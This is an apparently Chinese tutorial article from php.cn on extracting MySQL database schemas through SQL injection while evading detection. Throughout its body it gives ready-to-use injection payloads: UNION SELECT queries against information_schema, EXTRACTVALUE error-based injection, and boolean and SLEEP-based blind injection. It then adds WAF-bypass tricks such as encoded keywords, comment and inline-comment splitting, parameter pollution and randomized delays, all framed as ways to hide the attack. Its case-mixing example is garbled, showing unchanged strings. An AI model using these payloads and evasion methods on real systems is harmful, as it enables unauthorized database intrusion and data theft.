0

0

如何通过SQL注入提取数据库结构?隐藏元数据的技巧

蓮花仙者

蓮花仙者

发布时间:2025-09-05 14:09:02

|

670人浏览过

|

来源于php中文网

原创

答案:通过SQL注入提取数据库结构需利用元数据系统如information_schema,结合UNION SELECT获取数据库名、表名和列名;为绕过WAF和隐藏痕迹,可采用盲注、错误注入、编码混淆、注释分割、大小写变异、HTTP参数污染及时间延迟等技术,逐步探测并提取信息,同时降低被检测风险。

如何通过sql注入提取数据库结构?隐藏元数据的技巧

通过SQL注入提取数据库结构,核心在于利用数据库的元数据信息系统,例如MySQL的

information_schema
。这通常涉及构造
UNION SELECT
查询来从这些系统表中检索数据库名、表名和列名。至于隐藏元数据提取的技巧,它更多是关于如何绕过安全防护(如WAF)和避免留下明显的攻击痕迹,这需要结合盲注、错误注入、编码混淆以及利用数据库特定功能等多种策略。

解决方案

说实话,要通过SQL注入提取数据库结构,最直接也最常用的方法就是利用数据库自带的元数据信息。以MySQL为例,

information_schema
这个数据库简直就是个宝库,里面包含了当前用户有权限访问的所有数据库、表、列等信息。

具体怎么操作呢?

  1. 确定注入点和列数: 这是老生常谈了。你得先找到一个能被注入的参数,比如

    id=1
    。然后,用
    ORDER BY
    或者
    UNION SELECT NULL, NULL...
    来猜解原始查询的列数。假设我们发现是3列。

    # 猜解列数
    ORDER BY 10 --+ (如果报错,说明没有10列)
    ORDER BY 3 --+ (如果正常,说明至少有3列)
  2. 定位可显示列: 接下来,我们需要知道哪一列的数据会显示在页面上。这通常通过

    UNION SELECT NULL, '可显示', NULL
    这样的方式来测试。如果“可显示”这个字符串出现在页面上,那你就找到了。

    # 假设第2列是可显示的
    -1 UNION SELECT NULL, 'Hello World', NULL --+
  3. 提取当前数据库名: 有了可显示列,我们就可以开始提取信息了。首先是当前数据库名。

    -1 UNION SELECT NULL, DATABASE(), NULL --+
  4. 提取所有表名: 知道了数据库名,下一步就是获取这个数据库下的所有表名。

    information_schema.tables
    表是关键。

    -1 UNION SELECT NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema = DATABASE() --+

    这里用

    GROUP_CONCAT
    是为了把所有表名拼接成一个字符串,方便一次性获取。

  5. 提取特定表的列名: 假设我们通过上一步得到了一个名为

    users
    的表,现在我们想知道它有哪些列。
    information_schema.columns
    表就派上用场了。

    -1 UNION SELECT NULL, GROUP_CONCAT(column_name), NULL FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users' --+

通过这些步骤,你就能把数据库的结构一步步摸清楚。但问题是,这种方法太“标准”了,也很容易被检测到。

为什么传统的
information_schema
查询会暴露攻击意图?

在我看来,传统的

information_schema
查询之所以会暴露攻击意图,核心原因在于它的“模式化”和“高频性”。你想想,一个正常的Web应用,它会频繁地去查询
information_schema.tables
或者
information_schema.columns
吗?通常不会。应用在启动时或者配置变更时可能会读取一次,但在用户日常操作中,这些查询几乎是闻所未闻的。

这就给安全防护系统(比如WAF,Web应用防火墙)和IDS(入侵检测系统)提供了一个非常明显的“指纹”。WAF的规则库里,大概率会把

information_schema
table_name
column_name
这些关键字组合标记为高危。只要你的请求里出现了这些东西,并且结合了
UNION SELECT
OR
AND
等常见的注入关键字,WAF几乎是瞬间就能识别出来,然后把你这个请求给拦截掉,甚至直接封禁你的IP。

更糟糕的是,很多数据库系统,特别是像MySQL这样的,它的

information_schema
是所有用户都可以访问的(尽管权限不同),这意味着攻击者不需要特别高的权限就能尝试查询。这种“方便”反而成了它容易被检测的弱点。对我来说,这就像是你在一个黑暗的房间里,突然打开了一盏聚光灯,所有人都知道你在那儿了。所以,直接、粗暴地使用
information_schema
,在有WAF保护的环境下,成功率其实非常低。

在没有
information_schema
访问权限或被过滤时,如何绕过限制获取结构信息?

这确实是实战中经常遇到的难题。当

information_schema
被WAF过滤,或者更极端的情况是,数据库用户权限不足以访问它时,我们得想点“野路子”了。这玩意儿需要更多的耐心和技巧,但并非无解。

首先,错误注入(Error-based Injection)是一个很有效的替代方案。很多数据库在处理某些不规范的SQL函数或类型转换时,会把错误信息直接抛出来,而这些错误信息里往往包含了我们想要的数据。比如在MySQL中,

EXTRACTVALUE
UPDATEXML
函数在处理非XML格式的数据时会报错,并且会把你想查询的数据作为错误信息的一部分显示出来。

# 假设我们想获取第一个表名,但information_schema被过滤
# 尝试利用错误信息:
-1 UNION SELECT NULL, EXTRACTVALUE(1, CONCAT(0x3a, (SELECT table_name FROM information_schema.tables LIMIT 1))), NULL --+

你看,即使

information_schema
这个字符串被过滤,我们也可以尝试用其他方式来构造查询,让结果通过错误信息返回。如果连
information_schema
都完全不能用,那我们就得靠猜了。很多系统会有默认的表名,比如
users
admin
products
articles
等等。我们可以尝试去查询这些猜测的表名是否存在,或者它们的列名。

GradPen论文
GradPen论文

GradPen是一款AI论文智能助手,深度融合DeepSeek,为您的学术之路保驾护航,祝您写作顺利!

下载

其次,盲注(Blind SQL Injection)是更隐蔽但效率低下的方法。它不直接显示数据,而是通过判断页面响应(布尔盲注)或响应时间(时间盲注)来逐字符、逐位地推断数据。

  • 布尔盲注: 页面会根据条件真假显示不同内容。

    # 检查第一个表名的第一个字符是不是'a'
    AND (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables LIMIT 1) = 'a' --+

    如果页面显示正常,说明条件为真;如果页面显示错误或不同,则为假。这样,你就可以逐个字符地猜解表名和列名。这非常慢,但几乎不会被检测到。

  • 时间盲注: 页面响应时间会根据条件真假有所不同。

    # 如果第一个表名的第一个字符是'a',就让数据库延迟5秒响应
    AND IF((SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables LIMIT 1) = 'a', SLEEP(5), 0) --+

    这种方法甚至比布尔盲注还要慢,但隐蔽性极强,WAF很难通过内容识别。

最后,利用数据库特定的系统视图也是一个思路。比如在PostgreSQL中,你可以查

pg_class
pg_attribute
等;在SQL Server中,有
sys.objects
sys.columns
等。这些视图的功能类似于
information_schema
,但它们的名称和结构在不同数据库中差异较大,有时可以绕过针对
information_schema
的特定WAF规则。攻击者需要对目标数据库类型有深入了解,才能利用这些“非标”的元数据视图。

进一步隐藏元数据提取痕迹的进阶策略有哪些?

要更进一步隐藏元数据提取的痕迹,这不仅仅是技术层面的操作,更像是一场心理战和绕过艺术。目标是让你的注入看起来不像注入,或者至少让自动化防御系统难以识别。

一个常用的策略是字符编码绕过。WAF通常会识别特定的关键字和模式。如果你能把这些关键字用不同的编码方式表示,WAF可能就傻眼了。比如,把

UNION SELECT
中的某些字符进行URL编码、Unicode编码,或者利用数据库支持的各种字符集转换。

# 混淆 information_schema
# 尝试使用编码或注释分割
# %20 是空格的URL编码
-1%20UNIO%4E%20SELECT%20NULL,%20GROUP_CONCAT(table_name),%20NULL%20FROM%20informa%74ion_schema.tables%20WHERE%20table_schema%20=%20DATABASE()--+

这里我故意把

N
编码成
%4E
,把
t
编码成
%74
,就是为了打乱WAF的签名匹配。

注释绕过也是屡试不爽的技巧。在SQL中,注释符(

/**/
--
#
)可以用来分割关键字,或者在关键字中间插入无意义的字符。

# 利用注释分割关键字
-1 UNION/**/SELECT NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE()--+

# MySQL特有的内联注释,可以绕过一些WAF对空格的检测
-1 UNION/*!SELECT*/ NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE()--+

/*! ... */
在MySQL中,如果感叹号后的数字版本号小于当前数据库版本,括号内的内容会被执行。这个特性经常被用来绕过WAF。

大小写混淆虽然简单,但对于一些不区分大小写的WAF规则来说,也可能有效。把

information_schema
写成
information_schema
,或者
UNION SELECT
写成
UNION SELECT
,有时候就能蒙混过关。

HTTP参数污染(HTTP Parameter Pollution - HPP)是另一种高级技巧。如果后端服务器或应用对重复的HTTP参数处理不当,你可以发送多个同名参数,把注入语句分割开来。例如:

?id=1&id=UNION&id=SELECT&id=...
。后端可能会将它们拼接起来,而WAF可能只检查第一个参数或以某种非预期的方式处理。

此外,时间延迟与随机化在时间盲注中至关重要。纯粹的

SLEEP(5)
很容易被行为分析系统识别为异常。如果能引入一些随机延迟,或者把一次完整的提取操作分散到数十甚至上百个请求中,每个请求只做一小部分判断,这样就能极大降低被发现的风险。这就像“蚂蚁搬家”,每次只带走一点点,让监控者难以察觉。

最后,有时候“隐藏”的最高境界是不通过SQL注入获取。如果能找到其他漏洞,比如文件读取漏洞(LFI/RFI),你可能会直接读取到配置文件,其中可能包含数据库连接字符串,包括数据库名、用户名、密码等。这虽然不是SQL注入本身,但最终目的都是获取元数据,而且这种方式可能更隐蔽、更直接。这需要攻击者跳出SQL注入的思维定式,从更广阔的攻击面去思考问题。

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
数据分析工具有哪些
数据分析工具有哪些

数据分析工具有Excel、SQL、Python、R、Tableau、Power BI、SAS、SPSS和MATLAB等。详细介绍:1、Excel,具有强大的计算和数据处理功能;2、SQL,可以进行数据查询、过滤、排序、聚合等操作;3、Python,拥有丰富的数据分析库;4、R,拥有丰富的统计分析库和图形库;5、Tableau,提供了直观易用的用户界面等等。

707

2023.10.12

SQL中distinct的用法
SQL中distinct的用法

SQL中distinct的语法是“SELECT DISTINCT column1, column2,...,FROM table_name;”。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

327

2023.10.27

SQL中months_between使用方法
SQL中months_between使用方法

在SQL中,MONTHS_BETWEEN 是一个常见的函数,用于计算两个日期之间的月份差。想了解更多SQL的相关内容,可以阅读本专题下面的文章。

350

2024.02.23

SQL出现5120错误解决方法
SQL出现5120错误解决方法

SQL Server错误5120是由于没有足够的权限来访问或操作指定的数据库或文件引起的。想了解更多sql错误的相关内容,可以阅读本专题下面的文章。

1221

2024.03.06

sql procedure语法错误解决方法
sql procedure语法错误解决方法

sql procedure语法错误解决办法:1、仔细检查错误消息;2、检查语法规则;3、检查括号和引号;4、检查变量和参数;5、检查关键字和函数;6、逐步调试;7、参考文档和示例。想了解更多语法错误的相关内容,可以阅读本专题下面的文章。

360

2024.03.06

oracle数据库运行sql方法
oracle数据库运行sql方法

运行sql步骤包括:打开sql plus工具并连接到数据库。在提示符下输入sql语句。按enter键运行该语句。查看结果,错误消息或退出sql plus。想了解更多oracle数据库的相关内容,可以阅读本专题下面的文章。

799

2024.04.07

sql中where的含义
sql中where的含义

sql中where子句用于从表中过滤数据,它基于指定条件选择特定的行。想了解更多where的相关内容,可以阅读本专题下面的文章。

581

2024.04.29

sql中删除表的语句是什么
sql中删除表的语句是什么

sql中用于删除表的语句是drop table。语法为drop table table_name;该语句将永久删除指定表的表和数据。想了解更多sql的相关内容,可以阅读本专题下面的文章。

423

2024.04.29

Python 自然语言处理(NLP)基础与实战
Python 自然语言处理(NLP)基础与实战

本专题系统讲解 Python 在自然语言处理(NLP)领域的基础方法与实战应用,涵盖文本预处理(分词、去停用词)、词性标注、命名实体识别、关键词提取、情感分析,以及常用 NLP 库(NLTK、spaCy)的核心用法。通过真实文本案例,帮助学习者掌握 使用 Python 进行文本分析与语言数据处理的完整流程,适用于内容分析、舆情监测与智能文本应用场景。

10

2026.01.27

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
MySQL 初学入门(mosh老师)
MySQL 初学入门(mosh老师)

共3课时 | 0.3万人学习

微信小程序开发之API篇
微信小程序开发之API篇

共15课时 | 1.2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号